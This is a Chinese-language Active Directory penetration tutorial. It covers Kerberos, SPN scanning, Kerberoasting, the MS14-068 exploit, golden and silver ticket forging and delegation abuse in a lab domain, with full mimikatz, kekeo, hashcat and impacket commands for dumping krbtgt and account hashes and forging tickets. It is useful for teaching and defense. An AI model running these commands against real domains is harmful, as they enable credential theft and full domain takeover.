0X00 域滲透-Kerberos
1.Kerberos簡介
在Kerberos認證中,最主要的問題是如何證明“你是你”的問題,如當一個Client去訪問Server服務器上的某服務時,Server如何判斷Client是否有權限來訪問自己主機上的服務,同時保證在這個過程中的通訊內容即使被攔截或篡改也不影響通訊的安全性,這正是Kerberos解決的問題。在域滲透過程中Kerberos協議的攻防也是很重要的存在。
2.Kerberos協議框架
在Kerberos協議中主要是有三個角色的存在:
- 訪問服務的Client
- 提供服務的Server
- KDC(Key Distribution Center)密鑰分發中心 其中KDC服務默認會安裝在一個域的域控中,而Client和Server為域內的用户或者是服務,如HTTP服務,SQL服務。在Kerberos中Client是否有權限訪問Server端的服務由KDC發放的票據來決定。
如果把Kerberos中的票據類比為一張火車票,那麼Client端就是乘客,Server端就是火車,而KDC就是就是車站的認證系統。如果Client端的票據是合法的(由你本人身份證購買並由你本人持有)同時有訪問Server端服務的權限(車票對應車次正確)那麼你才能上車。當然和火車票不一樣的是Kerberos中有存在兩張票,而火車票從頭到尾只有一張。
由上圖中可以看到KDC又分為兩個部分:
Authentication Server: AS的作用就是驗證Client端的身份(確定你是身份證上的本人),驗證通過就會給一張TGT(Ticket Granting Ticket)票給Client。
Ticket Granting Server: TGS的作用是通過AS發送給Client的票(TGT)換取訪問Server端的票(上車的票ST)。ST(ServiceTicket)也有資料稱為TGS Ticket,為了和TGS區分,在這裏就用ST來説明。
KDC服務框架中包含一個KRBTGT賬户,它是在創建域時系統自動創建的一個賬號,可以暫時理解為他就是一個無法登陸的賬號。
3.Kerberos認證
流程當Client想要訪問Server上的某個服務時,需要先向AS證明自己的身份,然後通過AS發放的TGT向Server發起認證請求,這個過程分為三塊:
The Authentication Service Exchange:Client與AS的交互
The Ticket-Granting Service (TGS) Exchange:Client與TGS的交互
The Client/Server Authentication Exchange:Client與Server的交互
(1)TheAuthentication Service Exchange
KRB_AS_REQ
Client->AS:發送 Authenticator1(Client 密碼加密 TimeStamp)
第一步 Client 先向 KDC 的 AS 發送 Authenticator1,內容為通過 Client 密碼 Hash 加密的時間戳、ClientID、網絡地址、加密類型等內容。
KRB_AS_REP
AS-> Client:發送 Client 密碼加密的 sessionkey-as 和票據 TGT(KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp)
在 KDC 中存儲了域中所有用户的密碼 HASH,當 AS 接收到 Client 的請求之後會根據 KDC 中存儲的密碼來解密,解密成功並且驗證信息。驗證成功後返回給 Client 由 Client 密碼 HASH 加密的 sessionkey-as 和 TGT(由 KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp 等信息)。
(2)TheTicket-Granting Service (TGS) Exchange
KRB_TGS_REQ
Client ->TGS 發送 Authenticator2 (sessionkey-as 加密 TimeStamp) 和票據 TGT(KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp)
Client 接收到了加密後的 Sessionkey-as 和 TGT 之後,用自身密碼解密得到 Sessionkey-as,TGT 是由 KDC 密碼加密,Client 無法解密。這時 Client 再用 Sessionkey-as 加密 TimeStamp 和 TGT 一起發送給 KDC 中的 TGS(TicketGranting Server)票據授權服務器換取能夠訪問 Server 的票據。
KRB_TGS_REP
TGS-> Client 發送 密文 1(sessionkey-as 加密 sessionkey-tgs) 和 票據 ST(Server 密碼 HASH 加密 sessionkey-tgs)
TGS 收到 Client 發送過來的 TGT 和 Sessionkey-as 加密的 TimeStamp 之後,首先會檢查自身是否存在 Client 所請求的服務。如果服務存在,則用 KRBTGT 密碼解密 TGT。一般情況下 TGS 會檢查 TGT 中的時間戳查看 TGT 是否過期,且原始地址是否和 TGT 中保存的地址相同。驗證成功之後將用 sessionkey-as 加密的 sessionkey-tgs 和 Server 密碼 HASH 加密的 Sessionkey-tgs 發送給 Client。
(3)TheClient/Server Authentication Exchange
KRB_AP_REQ
Client ->Server 發送 Authenticator3(sessionkey-tgs 加密 TimeStamp) 和票據 ST(Server 密碼 HASH 加密 sessionkey-tgs)
Client 收到 sessionkey-as 加密的 sessionkey-tgs 和 Server 密碼 HASH 加密的 sessionkey-tgs 之後用 sessionkey-as 解密得到 sessionkey-tgs,然後把 sessionkey-tgs 加密的 TimeStamp 和 ST 一起發送給 Server。
KRB_AP_REP
Server-> Client
server 通過自己的密碼解密 ST,得到 sessionkey-tgs, 再用 sessionkey-tgs 解密 Authenticator3 得到 TimeStamp,驗證正確返回驗證成功。
0X01 域滲透-SPN
1.SPN 簡介
服務主體名稱(SPN:ServicePrincipal Names)是服務實例(可以理解為一個服務,比如 HTTP、MSSQL)的唯一標識符。Kerberos 身份驗證使用 SPN 將服務實例與服務登錄帳户相關聯。如果在整個林或域中的計算機上安裝多個服務實例,則每個實例都必須具有自己的 SPN。如果客户端可能使用多個名稱進行身份驗證,則給定服務實例可以具有多個 SPN。SPN 始終包含運行服務實例的主機的名稱,因此服務實例可以為其主機的每個名稱或別名註冊 SPN。
如果用一句話來説明的話就是如果想使用 Kerberos 協議來認證服務,那麼必須正確配置 SPN。
2.SPN 格式與配置
在 SPN 的語法中存在四種元素,兩個必須元素和兩個額外元素,其中和為必須元素:
<serviceclass>/<host>:<port>/<service name>
<service class>:標識服務類的字符串
<host>:服務所在主機名稱
<port>:服務端口
<service name>:服務名稱
例:
為 SQL Server 服務帳户註冊SPN
手動註冊:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 accountname
對應的命名實例:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com/instancename accountname
如果我想把域中一台主機Srv-DB-0day中的 MSSQL 服務註冊到 SPN 中則可以使用命令:
setspn -A MSSQLSvc/Srv-DB-0day.Oday.org:1433 sqladmin
可以通過下面兩個命令來查看已經註冊的 SPN。
setspn -q */*
setspn -T 0day.org -q */*
3.SPN掃描
在瞭解了 Kerberos 和 SPN 之後,可以通過 SPN 來獲取想要的信息,比如想知道域內哪些主機安裝了什麼服務,就不需要再進行批量的網絡端口掃描。在一個大型域中通常會有不止一個的服務註冊 SPN,所以可以通過「SPN 掃描」的方式來查看域內的服務。相對於通常的網絡端口掃描的優點是不用直接和服務主機建立連接,且隱蔽性更高。
4.掃描工具
GetUserSPNs
GetUserSPNs 是 Kerberoast 工具集中的一個 powershell 腳本,用來查詢域內註冊的 SPN。
Import-module .\GetUserSPNs.ps1
PowerView
PowerView 是由 Will Schroeder(https://twitter.com/harmj0y)開發的 Powershell 腳本,在 Powersploit 和 Empire 工具裏都有集成,PowerView 相對於上面幾種是根據不同用户的 objectsid 來返回,返回的信息更加詳細。
Import-module .\powerview.ps1
Get-NetUser -SPN
5.原理説明
在 SPN 掃描時可以直接通過腳本,或者命令去獲悉內網已經註冊的 SPN 內容。那如果想了解這個過程是如何實現的,就需要提到 LDAP 協議。
LDAP 協議全稱是 LightweightDirectory Access Protocol,一般翻譯成輕量目錄訪問協議。是一種用來查詢與更新 Active Directory 的目錄服務通信協議。AD 域服務利用 LDAP 命名路徑(LDAP naming path)來表示對象在 AD 內的位置,以便用它來訪問 AD 內的對象。
LDAP 數據的組織方式:
更直觀的説可以把 LDAP 協議理解為一個關係型數據庫,其中存儲了域內主機的各種配置信息。
在域控中默認安裝了 ADSI 編輯器,全稱 ActiveDirectory Service Interfaces Editor (ADSI Edit),是一種 LDAP 的編輯器,可以通過在域控中運行 adsiedit.msc 來打開(服務器上都有,但是隻有域控中的有整個域內的配置信息)。
通過 adsiedit.msc 我們可以修改和編輯 LADP,在 SPN 查詢時實際上就是查詢 LADP 中存儲的內容。
比如在我們是實驗環境域 0day.org中,存在名為運維組 的一個 OU(OrganizationUnit,可以理解為一個部門,如行政、財務等等),其中包含了 sqlsvr 這個用户,從用户屬性中可以看到 sqlsvr 註冊過的 SPN 內容。
在一台主機執行
setspn -T 0day.org -q */*
命令查詢域內 SPN 時,通過抓包可以看到正是通過 LDAP 協議向域控中安裝的 LDAP 服務查詢了 SPN 的內容。
如圖在主機192.168.3.62上執行目錄,在域控192.168.3.142可以看到LDAP協議的流量。
流量中的查詢結果:
Powershell 腳本其實主要就是通過查詢 LDAP 的內容並對返回結果做一個過濾,然後展示出來。
6.Kerberoasting
介紹 Kerberos 的認證流程時説到,在 KRB_TGS_REP 中,TGS 會返回給 Client 一張票據 ST,而 ST 是由 Client 請求的 Server 端密碼進行加密的。當 Kerberos 協議設置票據為 RC4 方式加密時,我們就可以通過爆破在 Client 端獲取的票據 ST,從而獲得 Server 端的密碼。
下圖為設置 Kerberos 的加密方式,在域中可以在域控的「本地安全策略」中進行設置:
設置RC4 方式加密。
設置完成之後運行裏輸入「gpupdate」刷新組策略,策略生效。
7.Kerberoasting攻擊方式一
一、在域內主機 PC-Jack 中通過 Kerberoast 中的 GetUserSPNs.vbs 進行 SPN 掃描。
cscript GetUserSPNs.vbs
二、根據掃描出的結果使用微軟提供的類 KerberosRequestorSecurityToken 發起 kerberos 請求,申請 ST 票據。
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-Web-Kit.rootkit.org"
三、Kerberos 協議中請求的票據會保存在內存中,可以通過 klist 命令查看當前會話存儲的 kerberos 票據。
使用 mimikatz 導出。
kerberos::list /export
使用 kerberoast 工具集中的 tgsrepcrack.py 工具進行離線爆破,成功得到jerry賬號的密碼admin!@#45
python2 tgsrepcrack.py wordlist.txt "1-40a10000-jerry@MSSQLSvc~Srv-Web-Kit.rootkit.org-ROOTKIT.ORG.kirbi"
8.Kerberoasting攻擊方式二
Kerberoasting攻擊方式一中需要通過 mimikatz 從內存中導出票據,Invoke-Kerberoast 通過提取票據傳輸時的原始字節,轉換成 John the Ripper 或者 HashCat 能夠直接爆破的字符串。
使用 Invoke-Kerberoast 腳本 (這裏使用的是 Empire 中的 Invoke-Kerberoast.ps1)。
Import-module Invoke-Kerberoast.ps1
Invoke-kerberoast -outputformat hashcat |fl
–outputformat 參數可以指定輸出的格式,可選 John the Ripper 和 Hashcat 兩種格式
二、使用 HASHCAT 工具進行破解:
PSC:> hashcat64.exe –m 13100 test1.txt password.list --force
9.Impacket 進行Kerberoasting
這裏要用到impacket工具包,該工具包用於對SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等協議進行低級編程訪問。這裏我們使用的是GetUserSPNs工具,可使用該工具對目標主機進行SPN探測。
https://github.com/SecureAuthCorp/impacket 官方倉庫https://github.com/maaaaz/impacket-examples-windows 有人已將各個腳本打包成相應的exe,此處絕大部分也都將全部用這些exe單文件來進行操作
其命令用法如下:
python GetUserSPNs.py -request -dc-ip x.x.x.x 域名稱/域用户
輸入當前域用户的密碼,即可的到票據。
同樣對票據進行爆破。
hashcat64.exe –m 13100 test1.txt password.list --force
正在上傳…重新上傳取消
0X02 域滲透-MS14-068
1.MS14-068
MS14068是一個能夠使普通用户提權到域控權限的權限提升漏洞。攻擊者可以通過構造特定的請求包來達到提升權限的目的。
2.利用方式
攻擊流程:
MS14-068對應的補丁為KB3011780,可在域控上通過systeminfo查看是否安裝此補丁。
一、在域內主機jerry上通過dir來訪問域控的共享文件夾,示拒絕訪問。
dir \\OWA2010SP3.0day.org\c$
二、通過Pykek工具利用漏洞,我這裏使用的是將python腳本編譯之後的exe文件。
參數説明:
-u 域賬號+@+域名稱,這裏是jerry+@+rootkit.org
-p 為當前用户的密碼,即jerry的密碼
-s為jerry的SID值,可以通過whoami/all來獲取用户的SID值
-d為當前域的域控
MS14-068.exe -u sqladmin@0day.org -p admin!@#45 -s S-1-5-21-1812960810-2335050734-3517558805-1142 -d OWA2010SP3.0day.org
腳本執行成功會在當前目錄下生成一個ccache文件。
三、使用mimikatz導入生成的ccache文件,導入之前cmd下使用命令klist purge或者在mimikatz中使用kerberos::purge刪除當前緩存的kerberos票據。
klist purge
kerberos::ptc TGT_sqladmin@0day.org.ccache
再次dir訪問域控共享就可以成功訪問。
dir \\OWA2010SP3.0day.org\c$
3.goldenPac.exe
impacket工具包裏面的goldenPac.py,這個工具是結合ms14-068加psexec的產物,利用起來十分順手。
這裏用到的是編譯的exe文件。
goldenPac.exe 0day.org/sqladmin:admin!@#45@OWA2010SP3.0day.org
當然此工具不止是得到一個shell,我們甚至可以直接讓該域控運行我們上傳的程序。
這個漏洞中主要的問題是存在於KDC會根據客户端指定PAC中數字簽名的加密算法,以及PAC的加密算法,來校驗PAC的合法性。這使得攻擊者可通過偽造PAC,修改PAC中的SID,導致KDC判斷攻擊者為高權限用户,從而導致權限提升漏洞的產生。
0X03 域滲透-Ticket
1.GoldenTicket
簡介
Golden Ticket(下面稱為金票)是通過偽造的TGT(TicketGranting Ticket),因為只要有了高權限的TGT,那麼就可以發送給TGS換取任意服務的ST。可以説有了金票就有了域內的最高權限。
製作金票的條件:
1、域名稱
2、域的SID值
3、域的KRBTGT賬户密碼HASH
4、偽造用户名,可以是任意的
利用過程
金票的生成需要用到krbtgt的密碼HASH值,可以通過mimikatz中的
lsadump::dcsync /OWA2010SP3.0day.org /user:krbtgt
命令獲取krbtgt的值。
得到KRBTGT HASH之後使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即為偽造成功的TGT。
參數説明:
/admin:偽造的用户名
/domain:域名稱
/sid:SID值,注意是去掉最後一個-後面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票據名稱
kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi
通過mimikatz中的kerberos::ptt功能(Pass The Ticket)將golden.kiribi導入內存中。
kerberos::purge
kerberos::ptt golden.kiribi
kerberos::list
此時就可以通過dir成功訪問域控的共享文件夾。
dir \\OWA2010SP3.0day.org\c$
2.SilverTickets
簡介
Silver Tickets(下面稱銀票)就是偽造的ST(Service Ticket),因為在TGT已經在PAC裏限定了給Client授權的服務(通過SID的值),所以銀票只能訪問指定服務。
製作銀票的條件:
1.域名稱
2.域的SID值
3.域的服務賬户的密碼HASH(不是krbtgt,是域控)
4.偽造的用户名,可以是任意用户名,這裏是silver
利用過程
首先我們需要知道服務賬户的密碼HASH,這裏同樣拿域控來舉例,通過mimikatz查看當前域賬號administrator的HASH值。注意,這裏使用的不是Administrator賬號的HASH,而是OWA2010SP3$的HASH
sekurlsa::logonpasswords
這時得到了OWA2010SP3$的HASH值,通過mimikatz生成銀票。
參數説明:
/domain:當前域名稱
/sid:SID值,和金票一樣取前面一部分
/target:目標主機,這裏是OWA2010SP3.0day.org
/service:服務名稱,這裏需要訪問共享文件,所以是cifs
/rc4:目標主機的HASH值
/user:偽造的用户名
/ptt:表示的是Pass TheTicket攻擊,是把生成的票據導入內存,也可以使用/ticket導出之後再使用kerberos::ptt來導入
kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:silver /ptt
這時通過klist查看當前會話的kerberos票據可以看到生成的票據。
使用dir \\OWA2010SP3.0day.org\c$訪問DC的共享文件夾。
3.EnhancedGolden Tickets
在Golden Ticket部分説明可利用krbtgt的密碼HASH值生成金票,從而能夠獲取域控權限同時能夠訪問域內其他主機的任何服務。但是普通的金票不能夠跨域使用,也就是説金票的權限被限制在當前域內。
域樹與域林
在下圖中 UKNOWSEC.CN 為其他兩個域的根域,NEWS.UKNOWSEC.CN和 DEV.UKNOWSEC.CN 均為 UKNOWSEC.CN的子域,這三個域組成了一個域樹。子域的概念可以理解為一個集團在不同業務上分公司,他們有業務重合的點並且都屬於 UKNOWSEC.CN這個根域,但又獨立運作。同樣 TEST.COM 也是一個單獨的域樹,兩個域樹 UKONWSE.CN 和 TEST.CN 組合起來被稱為一個域林。
4.普通金票的侷限性
在上圖中説到UKNOWSEC.CN為其他兩個域(NEWS.UKNOWSEC.CN和DEV.UKNOWSEC.CN)的根域,根域和其他域的最大的區別就是根域對整個域林都有控制權。而域正是根據Enterprise Admins組來實現這樣的權限劃分。
Enterprise Admins組
EnterpriseAdmins組是域中用户的一個組,只存在於一個林中的根域中,這個組的成員,這裏也就是UKNOWSEC.CN中的Administrator用户(不是本地的Administrator,是域中的Administrator)對域有完全管理控制權。
UKNOWSEC.CN的域控上Enterprise Admins組的RID為519.
Domain Admins組
子域中是不存在EnterpriseAdmins組的,在一個子域中權限最高的組就是Domain Admins組。NEWS.UKNOWSEC.CN這個子域中的Administrator用户,這個Administrator有當前域的最高權限。
5.突破限制
普通的黃金票據被限制在當前域內,在2015年Black Hat USA中國外的研究者提出了突破域限制的增強版的黃金票據。通過域內主機在遷移時LDAP庫中的SIDHistory屬性中保存的上一個域的SID值製作可以跨域的金票。
如果知道根域的SID那麼就可以通過子域的KRBTGT的HASH值,使用mimikatz創建具有 EnterpriseAdmins組權限(域林中的最高權限)的票據。
然後通過mimikatz重新生成包含根域SID的新的金票
kerberos::golden /admin:administrator /domain:news.uknowsec.cn /sid:XXX /sids:XXX /krbtgt:XXX /startoffset:0 /endin:600 /renewmax:10080 /ptt
Startoffset和endin分別代表偏移量和長度,renewmax表示生成的票據的最長時間。
注意這裏是不知道根域UKONWSEC.CN的krbtgt的密碼HASH的,使用的是子域NEWS.UKNOWSEC.CN中的KRBTGT的密碼HASH。
然後就可以通過dir訪問DC. UKNOWSEC的共享文件夾,此時的這個票據票是擁有整個域林的控制權的。
6.Reference
Kerberos協議探索系列之掃描與爆破篇 - FreeBuf網絡安全行業門户
0X04 域滲透-Delegation
1.委派
在域中如果出現A使用Kerberos身份驗證訪問域中的服務B,而B再利用A的身份去請求域中的服務C,這個過程就可以理解為委派。
User訪問主機s2上的HTTP服務,而HTTP服務需要請求其他主機的SQLServer數據庫,但是S2並不知道User是否有權限訪問SQLServer,這時HTTP服務會利用User的身份去訪問SQLServer,如果User有權限訪問SQLServer服務才能訪問成功。
而委派主要分為非約束委派(Unconstraineddelegation)和約束委派(Constrained delegation)兩個方式。
2.非約束委派
非約束委派在Kerberos中實現時,User會將從KDC處得到的TGT發送給訪問的service1(可以是任意服務),service1拿到TGT之後可以通過TGT訪問域內任意其他服務,所以被稱為非約束委派。
流程:
- 用户通過發送KRB_AS_REQ消息請求可轉發 TGT(forwardable TGT,為了方便我們稱為TGT1)。
- KDC在KRB_AS_REP消息中返回TGT1。
- 用户再通過TGT1向KDC請求轉發TGT(forwardedTGT,我們稱為TGT2)。
- 在KRB_TGS_REP消息中返回轉發TGT2。
- 用户使用TGT1向KDC申請訪問Service1的ST(ServiceTicket)。
- TGS返回給用户一個ST。
- 用户發送KRB_AP_REQ請求至Service1,這個請求中包含了TGT1和ST、TGT2、TGT2的SessionKey。
- Service1使用用户的TGT2通過KRB_TGS_REQ發送給KDC,以用户的名義請求能夠訪問Service2的票據。
- KDC在KRB_TGS_REP消息中返回Service2到Service1的票據。
- Service1以用户的名義像Service2發送KRB_AP_REQ請求。
- Service2響應步驟10中Service1的請求。
- Service1響應步驟7中用户的請求。
- 在這個過程中的TGT轉發機制,沒有限制Service1對TGT2的使用,也就是説Service1可以通過TGT2來請求任意服務。
- KDC返回步驟13中請求的票據。
15和16即為Service1通過模擬用户來訪問其他Service。
可以看到在前5個步驟中User向KDC申請了兩個TGT(步驟2和4),一個用於訪問Service1一個用於訪問Service2,並且會將這兩個都發給Service1。並且Service1會將TGT2保存在內存中。
非約束委派的設置:
Windows域中可以直接在賬户屬性中設置:
3.約束委派
由於非約束委派的不安全性,微軟在windows2003中發佈了約束委派的功能。約束委派在Kerberos中User不會直接發送TGT給服務,而是對發送給service1的認證信息做了限制,不允許service1代表User使用這個TGT去訪問其他服務。這裏包括一組名為S4U2Self(Service for User to Self)和S4U2Proxy(Service forUser to Proxy)的Kerberos協議擴展。
從下圖可以看到整個過程其實可以分為兩個部分,第一個是S4U2Self的過程(流程1-4),第二個是S4U2Proxy的過程(流程5-10)。
流程:
- 用户向Service1發送請求。
- 這時在官方文檔中的介紹是在這一流程開始之前Service1已經通過KRB_AS_REQ得到了用户用來訪問Service1的TGT,然後通過S4U2self擴展模擬用户向KDC請求ST。
- KDC這時返回給Service1一個用於用户驗證Service1的ST(我們稱為ST1),並且Service1用這個ST1完成和用户的驗證過程。
- Service1在步驟3使用模擬用户申請的ST1完成與用户的驗證,然後響應用户。
注:這個過程中其實Service1是獲得了用户的TGT和ST1的,但是S4U2Self擴展不允許Service1代表用户去請求其他的服務。
- 用户再次向Service1發起請求,此時Service1需要以用户的身份訪問Service2。這裏官方文檔提到了兩個點:
A.Service1已經驗證通過,並且有一個有效的TGT。
B.Service1有從用户到Service1的forwardableST(可轉發ST)。個人認為這裏的forwardable ST其實也就是ST1。
- Service1代表用户向Service2請求一個用於認證Service2的ST(我們稱為ST2)。用户在ST1中通過cname(client name)和crealm(client realm)字段標識。
- KDC在接收到步驟6中Service1的請求之後,會驗證PAC(特權屬性證書,在第一篇中有説明)的數字簽名。如果驗證成功或者這個請求沒有PAC(不能驗證失敗),KDC將返回ST2給Service1,不過這個ST2中cname和crealm標識的是用户而不是Service1。
- Service1代表用户使用ST2請求Service2。Service2判斷這個請求來自已經通過KDC驗證的用户。
- Service2響應Service1的請求。
- Service1響應用户的請求。
在這個過程中,S4U2Self擴展的作用是讓Service1代表用户向KDC驗證用户的合法性,並且得到一個可轉發的ST1。S4U2Proxy的作用可以説是讓Service1代表用户身份通過ST1重新獲取ST2,並且不允許Service1以用户的身份去訪問其他服務。更多的細節可以參考官方的文檔,和RFC4120的內容。
同時注意forwardable字段,有forwardable標記為可轉發的是能夠通過S4U2Proxy擴展協議進行轉發的,如果沒有標記則不能進行轉發。
約束委派的配置:
可以在賬户屬性中將SRV-DB-ODAY的委派方式更改為約束委派
4.發現域中的委派主機或賬户
在域中,可以通過PowerView腳本來搜索開啓了委派的主機和用户。查詢非約束委派主要是通過搜索userAccountControl屬性包含ADS_UF_TRUSTED_FOR_DELEGATION的主機或賬户。而約束委派則通過查詢userAccountControl屬性包含TRUSTED_TO_AUTH_FOR_DELEGATION的主機或用户。
非約束委派
通過Import-Module PowerView.ps1加載PowerView腳本之後使用下面的命令進行查詢。
查詢域中配置非約束委派的賬户:
Get-NetUser -Unconstrained -Domain rootkit.org
查詢域中配置非約束委派的主機:
Get-NetComputer -Unconstrained -Domain rootkit.org
約束委派
查詢域中配置約束委派的賬户:
Get-DomainUser -TrustedToAuth -Domain rootkit.org
查詢域中配置約束委派的主機:
Get-DomainComputer -TrustedToAuth -Domain rootkit.org
6.委派攻擊利用
非約束委派的利用
假設已經獲取了一個已經配置了委派的賬户權限或者是密碼,現在我們通過這些條件來攻擊其他賬户。
在域中只有服務賬户才能有委派功能,所以先把用户sqladmin設置為服務賬號。
setspn -U -A variant/golden sqladmin
setspn -l sqladmin
查看配置成功。
然後在“AD用户和計算機”中將sqladmin設置為非約束委派模式
在域控上使用Administrator訪問sqladmin所在主機Srv-Web-Kit的SMB服務。
dir \\Srv-Web-Kit.rootkit.org\c$
在Srv-Web-Kit上通過mimikatz可以導出Administrator發送過來的TGT內容。這裏需要使用管理員權限打開mimikatz,然後通過privilege::debug命令提升權限,如果沒有提升權限會報kuhl_m_sekurlsa_acquireLSA錯誤。再使用sekurlsa::tickets/export命令導出內存中所有的票據。
訪問域控失敗
通過
kerberos::ptt [0;a17510]-2-0-60a10000-Administrator@krbtgt-ROOTKIT.ORG.kirbi
命令將TGT內容導入到當前會話中。
導入之後已經可以訪問域控的共享目錄。也就是説每當存在用户訪問tsvc的服務時,tsvc的服務就會將訪問者的TGT保存在內存中,可以通過這個TGT訪問這個TGT所屬用户的所有服務。
約束委派的利用
假設已知配置了約束委派的賬號,並且已知當前配置了約束委派的當前賬户的密碼。
- 確認賬號sqladmin設置了約束委派。
- 使用kekeo對域控發起申請TGT的請求。
通過已知的賬户名和明文密碼對KDC發起請求,得到TGT。
tgt::ask /user:sqladmin /domain:rootkit.org /password:Admin12345 /ticket:sqladmin.kirbi
/user:當前用户名
/domain:所在域名
/password:當前用户名的密碼
/ticket:生成票據名稱。
- 使用kekeo申請TGS票據
tgs::s4u /tgt:TGT_sqladmin@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi /user:administrator@rootkit.org /service:cifs/owa2013.rootkit.org
/tgt:上一步通過kekeo生成的tgt票據
/user:想要偽造的用户名寫全稱(用户名@域名)
/service:想要偽造訪問的服務名(服務名/主機的FQDN名稱)
- 使用mimikatz將生成的TGS文件導入到Kerberos憑據列表中
這時可以看到導入之後已經能夠成功訪問域控的共享文件(嚴格來説應該是非約束委派中設置的SPN的權限)。而且在這個過程中是不需要管理員權限的,只是用當前賬户的權限就可以完成,因為不需要從內存中導出票據。
非約束委派去獲得所設置的SPN的權限主要是三個步驟
1、請求TGT
2、請求TGS
3、將TGS導入內存
第1步,使用Kekeo發起AS-REQ請求去請求TGT。這時sqladmin獲取到了一個TGT,並且kekeo工具將其保存為一個kirbi格式的文件。
第2步,再使用這個TGT申請兩個ST文件,上文中説到過在約束委派實現的過程中分為兩個部分,分別是S4U2Self擴展和S4U2Proxy擴展。S4U2Self中Service1會代替用户向KDC申請一張用於訪問自身的TGS,這個TGS也就是生成的兩個TGS中的一個(TGS_administrator@rootkit.org@ROOTKIT.ORG_sqladmin@ROOTKIT.ORG.kirbi)還有一個TGS是用於訪問非受限委派中設置的SPN的TGS(TGS_administrator@rootkit.org@ROOTKIT.ORG_cifs~owa2013.rootkit.org@ROOTKIT.ORG.kirbi)。
關於約束委派的這種攻擊方式就是通過在Service1(sqladmin)中將自己偽造成用户,然後獲取允許約束委派的SPN的TGS的一個過程。
委派攻擊的防禦
通過上文中説到設置了非約束委派的賬户權限如果被竊取那麼攻擊者可能獲取非常多其他賬户的TGT,所以最好是不要在域中使用非約束委派這種功能。
域中不需要使用委派的賬户特別是administrator賬户,設置為“敏感用户不能被委派”。
正在上傳…重新上傳取消
0X05 域滲透-域內信息收集
1.常用收集域信息命令
Net use
Net view
Tasklist /v
Ipconfig /all
net group /domain 獲得所有域用户組列表
net group “domain admins” /domain 獲得域管理員列表
net group “enterprise admins” /domain 獲得企業管理員列表
net localgroup administrators /domain 獲取域內置administrators組用户(enterprise admins、domain admins)
net group “domain controllers” /domain 獲得域控制器列表
net group “domain computers” /domain 獲得所有域成員計算機列表
net user /domain 獲得所有域用户列表
net user someuser /domain 獲得指定賬户someuser的詳細信息
net accounts /domain 獲得域密碼策略設置,密碼長短,錯誤鎖定等信息
nltest /domain_trusts 獲取域信任信息
2.SPN掃描
不同於常規的tcp/udp端口掃描,由於spn本質就是正常的Kerberos請求,所以掃描是非常隱蔽,日前針對此類掃描的檢測暫時也比較少。
大部分win系統默認已自帶spn探測工具即:setspn.exe
此操作無需管理權限
域內機器執行
setspn -T target.com -Q */*
可完整查出當前域內所有spn。
Checking domain DC=rootkit,DC=org
CN=OWA2013,OU=Domain Controllers,DC=rootkit,DC=org
IMAP/OWA2013
IMAP/OWA2013.rootkit.org
IMAP4/OWA2013
IMAP4/OWA2013.rootkit.org
POP/OWA2013
POP/OWA2013.rootkit.org
POP3/OWA2013
POP3/OWA2013.rootkit.org
exchangeRFR/OWA2013
exchangeRFR/OWA2013.rootkit.org
exchangeMDB/OWA2013
exchangeMDB/OWA2013.rootkit.org
SMTP/OWA2013
SMTP/OWA2013.rootkit.org
SmtpSvc/OWA2013
SmtpSvc/OWA2013.rootkit.org
exchangeAB/OWA2013
exchangeAB/OWA2013.rootkit.org
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/OWA2013.rootkit.org
ldap/OWA2013.rootkit.org/ForestDnsZones.rootkit.org
ldap/OWA2013.rootkit.org/DomainDnsZones.rootkit.org
TERMSRV/OWA2013
TERMSRV/OWA2013.rootkit.org
DNS/OWA2013.rootkit.org
GC/OWA2013.rootkit.org/rootkit.org
RestrictedKrbHost/OWA2013.rootkit.org
RestrictedKrbHost/OWA2013
RPC/58650e64-9681-4c62-b26e-7914b9041f72._msdcs.rootkit.org
HOST/OWA2013/ROOTKIT
HOST/OWA2013.rootkit.org/ROOTKIT
HOST/OWA2013
HOST/OWA2013.rootkit.org
HOST/OWA2013.rootkit.org/rootkit.org
E3514235-4B06-11D1-AB04-00C04FC2DCD2/58650e64-9681-4c62-b26e-7914b9041f72/rootkit.org
ldap/OWA2013/ROOTKIT
ldap/58650e64-9681-4c62-b26e-7914b9041f72._msdcs.rootkit.org
ldap/OWA2013.rootkit.org/ROOTKIT
ldap/OWA2013
ldap/OWA2013.rootkit.org
ldap/OWA2013.rootkit.org/rootkit.org
CN=krbtgt,CN=Users,DC=rootkit,DC=org
kadmin/changepw
CN=dbadmin,OU=運維部,DC=rootkit,DC=org
MSSQLSvc/Srv-Web-Kit.rootkit.org:1433
MSSQLSvc/Srv-Web-Kit.rootkit.org
CN=SRV-WEB-KIT,CN=Computers,DC=rootkit,DC=org
TERMSRV/SRV-WEB-KIT
TERMSRV/Srv-Web-Kit.rootkit.org
WSMAN/Srv-Web-Kit
WSMAN/Srv-Web-Kit.rootkit.org
RestrictedKrbHost/SRV-WEB-KIT
HOST/SRV-WEB-KIT
RestrictedKrbHost/Srv-Web-Kit.rootkit.org
HOST/Srv-Web-Kit.rootkit.org
CN=PC-JERRY-KIT,CN=Computers,DC=rootkit,DC=org
RestrictedKrbHost/PC-JERRY-KIT
HOST/PC-JERRY-KIT
RestrictedKrbHost/PC-jerry-Kit.rootkit.org
HOST/PC-jerry-Kit.rootkit.org
CN=PC-MICLE-KIT,CN=Computers,DC=rootkit,DC=org
RestrictedKrbHost/PC-MICLE-KIT
HOST/PC-MICLE-KIT
RestrictedKrbHost/PC-micle-Kit.rootkit.org
HOST/PC-micle-Kit.rootkit.org
